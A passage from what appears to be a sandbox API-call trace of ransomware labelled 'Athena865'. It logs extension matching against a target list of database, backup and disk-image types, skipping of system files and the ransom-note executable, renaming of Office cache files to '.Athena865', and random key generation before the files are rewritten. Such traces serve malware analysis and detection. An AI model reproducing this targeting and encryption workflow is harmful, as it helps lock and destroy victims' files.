(lpString="dacpac") returned 6 [0106.199] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0106.199] lstrlenW (lpString="dad") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0106.199] lstrlenW (lpString="dadiagrams") returned 10 [0106.199] lstrlenW (lpString="daschema") returned 8 [0106.199] lstrcmpiW (lpString1="ccLR.cab", lpString2="daschema") returned -1 [0106.199] lstrlenW (lpString="db-journal") returned 10 [0106.199] lstrlenW (lpString="db-shm") returned 6 [0106.199] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0106.199] lstrlenW (lpString="db-wal") returned 6 [0106.199] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0106.199] lstrlenW (lpString="dbc") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0106.199] lstrlenW (lpString="dbs") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0106.199] lstrlenW (lpString="dbt") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0106.199] lstrlenW (lpString="dbv") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0106.199] lstrlenW (lpString="dbx") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0106.199] lstrlenW (lpString="dcb") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0106.199] lstrlenW (lpString="dct") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0106.199] lstrlenW (lpString="dcx") returned 3 [0106.199] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0106.199] lstrlenW (lpString="ddl") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0106.200] lstrlenW (lpString="dlis") returned 4 [0106.200] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0106.200] lstrlenW (lpString="dp1") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0106.200] lstrlenW (lpString="dqy") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0106.200] lstrlenW (lpString="dsk") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0106.200] lstrlenW (lpString="dsn") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0106.200] lstrlenW (lpString="dtsx") returned 4 [0106.200] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0106.200] lstrlenW (lpString="dxl") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0106.200] lstrlenW (lpString="eco") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0106.200] lstrlenW (lpString="ecx") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0106.200] lstrlenW (lpString="edb") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0106.200] lstrlenW (lpString="epim") returned 4 [0106.200] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0106.200] lstrlenW (lpString="fcd") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0106.200] lstrlenW (lpString="fdb") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0106.200] lstrlenW (lpString="fic") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0106.200] lstrlenW (lpString="flexolibrary") returned 12 [0106.200] lstrlenW (lpString="fm5") returned 3 [0106.200] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0106.201] lstrlenW (lpString="fmp") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0106.201] lstrlenW (lpString="fmp12") returned 5 [0106.201] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0106.201] lstrlenW (lpString="fmpsl") returned 5 [0106.201] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0106.201] lstrlenW (lpString="fol") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0106.201] lstrlenW (lpString="fp3") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0106.201] lstrlenW (lpString="fp4") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0106.201] lstrlenW (lpString="fp5") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0106.201] lstrlenW (lpString="fp7") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0106.201] lstrlenW (lpString="fpt") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0106.201] lstrlenW (lpString="frm") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0106.201] lstrlenW (lpString="gdb") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0106.201] lstrlenW (lpString="gdb") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0106.201] lstrlenW (lpString="grdb") returned 4 [0106.201] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0106.201] lstrlenW (lpString="gwi") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0106.201] lstrlenW (lpString="hdb") returned 3 [0106.201] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0106.201] lstrlenW (lpString="his") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0106.202] lstrlenW (lpString="ib") returned 2 [0106.202] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0106.202] lstrlenW (lpString="idb") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0106.202] lstrlenW (lpString="ihx") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0106.202] lstrlenW (lpString="itdb") returned 4 [0106.202] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0106.202] lstrlenW (lpString="itw") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0106.202] lstrlenW (lpString="jet") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0106.202] lstrlenW (lpString="jtx") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0106.202] lstrlenW (lpString="kdb") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0106.202] lstrlenW (lpString="kexi") returned 4 [0106.202] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0106.202] lstrlenW (lpString="kexic") returned 5 [0106.202] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0106.202] lstrlenW (lpString="kexis") returned 5 [0106.202] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0106.202] lstrlenW (lpString="lgc") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0106.202] lstrlenW (lpString="lwx") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0106.202] lstrlenW (lpString="maf") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0106.202] lstrlenW (lpString="maq") returned 3 [0106.202] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0106.202] lstrlenW (lpString="mar") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0106.203] lstrlenW (lpString="marshal") returned 7 [0106.203] lstrcmpiW (lpString1="cLR.cab", lpString2="marshal") returned -1 [0106.203] lstrlenW (lpString="mas") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0106.203] lstrlenW (lpString="mav") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0106.203] lstrlenW (lpString="maw") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0106.203] lstrlenW (lpString="mdbhtml") returned 7 [0106.203] lstrcmpiW (lpString1="cLR.cab", lpString2="mdbhtml") returned -1 [0106.203] lstrlenW (lpString="mdn") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0106.203] lstrlenW (lpString="mdt") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0106.203] lstrlenW (lpString="mfd") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0106.203] lstrlenW (lpString="mpd") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0106.203] lstrlenW (lpString="mrg") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0106.203] lstrlenW (lpString="mud") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0106.203] lstrlenW (lpString="mwb") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0106.203] lstrlenW (lpString="myd") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0106.203] lstrlenW (lpString="ndf") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0106.203] lstrlenW (lpString="nnt") returned 3 [0106.203] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0106.204] lstrlenW (lpString="nrmlib") returned 6 [0106.204] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0106.204] lstrlenW (lpString="ns2") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0106.204] lstrlenW (lpString="ns3") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0106.204] lstrlenW (lpString="ns4") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0106.204] lstrlenW (lpString="nsf") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0106.204] lstrlenW (lpString="nv") returned 2 [0106.204] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0106.204] lstrlenW (lpString="nv2") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0106.204] lstrlenW (lpString="nwdb") returned 4 [0106.204] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0106.204] lstrlenW (lpString="nyf") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0106.204] lstrlenW (lpString="odb") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0106.204] lstrlenW (lpString="odb") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0106.204] lstrlenW (lpString="oqy") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0106.204] lstrlenW (lpString="ora") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0106.204] lstrlenW (lpString="orx") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0106.204] lstrlenW (lpString="owc") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0106.204] lstrlenW (lpString="p96") returned 3 [0106.204] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0106.205] lstrlenW (lpString="p97") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0106.205] lstrlenW (lpString="pan") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0106.205] lstrlenW (lpString="pdb") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0106.205] lstrlenW (lpString="pdm") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0106.205] lstrlenW (lpString="pnz") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0106.205] lstrlenW (lpString="qry") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0106.205] lstrlenW (lpString="qvd") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0106.205] lstrlenW (lpString="rbf") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0106.205] lstrlenW (lpString="rctd") returned 4 [0106.205] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0106.205] lstrlenW (lpString="rod") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0106.205] lstrlenW (lpString="rodx") returned 4 [0106.205] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0106.205] lstrlenW (lpString="rpd") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0106.205] lstrlenW (lpString="rsd") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0106.205] lstrlenW (lpString="sas7bdat") returned 8 [0106.205] lstrcmpiW (lpString1="ccLR.cab", lpString2="sas7bdat") returned -1 [0106.205] lstrlenW (lpString="sbf") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0106.205] lstrlenW (lpString="scx") returned 3 [0106.205] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0106.206] lstrlenW (lpString="sdb") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0106.206] lstrlenW (lpString="sdc") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0106.206] lstrlenW (lpString="sdf") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0106.206] lstrlenW (lpString="sis") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0106.206] lstrlenW (lpString="spq") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0106.206] lstrlenW (lpString="te") returned 2 [0106.206] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0106.206] lstrlenW (lpString="teacher") returned 7 [0106.206] lstrcmpiW (lpString1="cLR.cab", lpString2="teacher") returned -1 [0106.206] lstrlenW (lpString="tmd") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0106.206] lstrlenW (lpString="tps") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0106.206] lstrlenW (lpString="trc") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0106.206] lstrlenW (lpString="trc") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0106.206] lstrlenW (lpString="trm") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0106.206] lstrlenW (lpString="udb") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0106.206] lstrlenW (lpString="udl") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0106.206] lstrlenW (lpString="usr") returned 3 [0106.206] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0106.206] lstrlenW (lpString="v12") returned 3 [0106.207] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0106.207] lstrlenW (lpString="vis") returned 3 [0106.207] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0106.207] lstrlenW (lpString="vpd") returned 3 [0106.207] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0106.208] lstrlenW (lpString="vvv") returned 3 [0106.208] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0106.208] lstrlenW (lpString="wdb") returned 3 [0106.208] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0106.208] lstrlenW (lpString="wmdb") returned 4 [0106.208] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0106.208] lstrlenW (lpString="wrk") returned 3 [0106.208] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0106.208] lstrlenW (lpString="xdb") returned 3 [0106.208] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0106.208] lstrlenW (lpString="xld") returned 3 [0106.208] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0106.208] lstrlenW (lpString="xmlff") returned 5 [0106.208] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0106.208] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.Athena865") returned 95 [0106.209] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.athena865"), dwFlags=0x1) returned 1 [0106.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0106.210] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28016276) returned 1 [0106.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0106.210] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0106.211] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.211] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.211] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ab81a0, lpName=0x0) returned 0x154 [0106.213] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x1a00000, dwNumberOfBytesToMap=0xb81a0) returned 0x2d50000 [0106.248] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0106.326] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0106.343] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0106.343] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0106.344] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0106.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0106.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54bd40 [0106.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0106.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0106.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54bd40 [0106.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0106.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54bd40 | out: hHeap=0x4f0000) returned 1 [0106.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0106.344] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0106.351] CloseHandle (hObject=0x154) returned 1 [0106.351] CloseHandle (hObject=0x17c) returned 1 [0106.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dde0 | out: hHeap=0x4f0000) returned 1 [0106.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0106.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0106.360] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2=".") returned 1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="..") returned 1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="windows") returned -1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="bootmgr") returned 1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="temp") returned -1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="pagefile.sys") returned -1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="boot") returned 1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="ids.txt") returned -1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="ntuser.dat") returned -1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="perflogs") returned -1 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2="MSBuild") returned -1 [0106.360] lstrlenW (lpString="branding.xml") returned 12 [0106.360] lstrcpyW (in: lpString1=0x241e8e0, lpString2="branding.xml" | out: lpString1="branding.xml") returned="branding.xml" [0106.360] lstrlenW (lpString="branding.xml") returned 12 [0106.360] lstrlenW (lpString="Athena865") returned 9 [0106.360] lstrcmpiW (lpString1="nding.xml", lpString2="Athena865") returned 1 [0106.360] lstrlenW (lpString=".dll") returned 4 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2=".dll") returned 1 [0106.360] lstrlenW (lpString=".lnk") returned 4 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2=".lnk") returned 1 [0106.360] lstrlenW (lpString=".ini") returned 4 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2=".ini") returned 1 [0106.360] lstrlenW (lpString=".sys") returned 4 [0106.360] lstrcmpiW (lpString1="branding.xml", lpString2=".sys") returned 1 [0106.361] lstrlenW (lpString="branding.xml") returned 12 [0106.361] lstrlenW (lpString="bak") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0106.361] lstrlenW (lpString="ba_") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0106.361] lstrlenW (lpString="dbb") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0106.361] lstrlenW (lpString="vmdk") returned 4 [0106.361] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0106.361] lstrlenW (lpString="rar") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0106.361] lstrlenW (lpString="zip") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0106.361] lstrlenW (lpString="tgz") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0106.361] lstrlenW (lpString="vbox") returned 4 [0106.361] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0106.361] lstrlenW (lpString="vdi") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0106.361] lstrlenW (lpString="vhd") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0106.361] lstrlenW (lpString="vhdx") returned 4 [0106.361] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0106.361] lstrlenW (lpString="avhd") returned 4 [0106.361] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0106.361] lstrlenW (lpString="db") returned 2 [0106.361] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0106.361] lstrlenW (lpString="db2") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0106.361] lstrlenW (lpString="db3") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0106.361] lstrlenW (lpString="dbf") returned 3 [0106.361] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0106.362] lstrlenW (lpString="mdf") returned 3 [0106.362] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0106.362] lstrlenW (lpString="mdb") returned 3 [0106.362] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0106.362] lstrlenW (lpString="sql") returned 3 [0106.362] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0106.362] lstrlenW (lpString="sqlite") returned 6 [0106.362] lstrcmpiW (lpString1="ng.xml", lpString2="sqlite") returned -1 [0106.362] lstrlenW (lpString="sqlite3") returned 7 [0106.362] lstrcmpiW (lpString1="ing.xml", lpString2="sqlite3") returned -1 [0106.362] lstrlenW (lpString="sqlitedb") returned 8 [0106.362] lstrcmpiW (lpString1="ding.xml", lpString2="sqlitedb") returned -1 [0106.362] lstrlenW (lpString="xml") returned 3 [0106.362] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0106.362] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.Athena865") returned 98 [0106.362] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.athena865"), dwFlags=0x1) returned 1 [0106.363] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0106.363] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=596341) returned 1 [0106.363] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0106.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dde0 [0106.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0106.364] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0106.364] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0106.364] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0106.365] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, 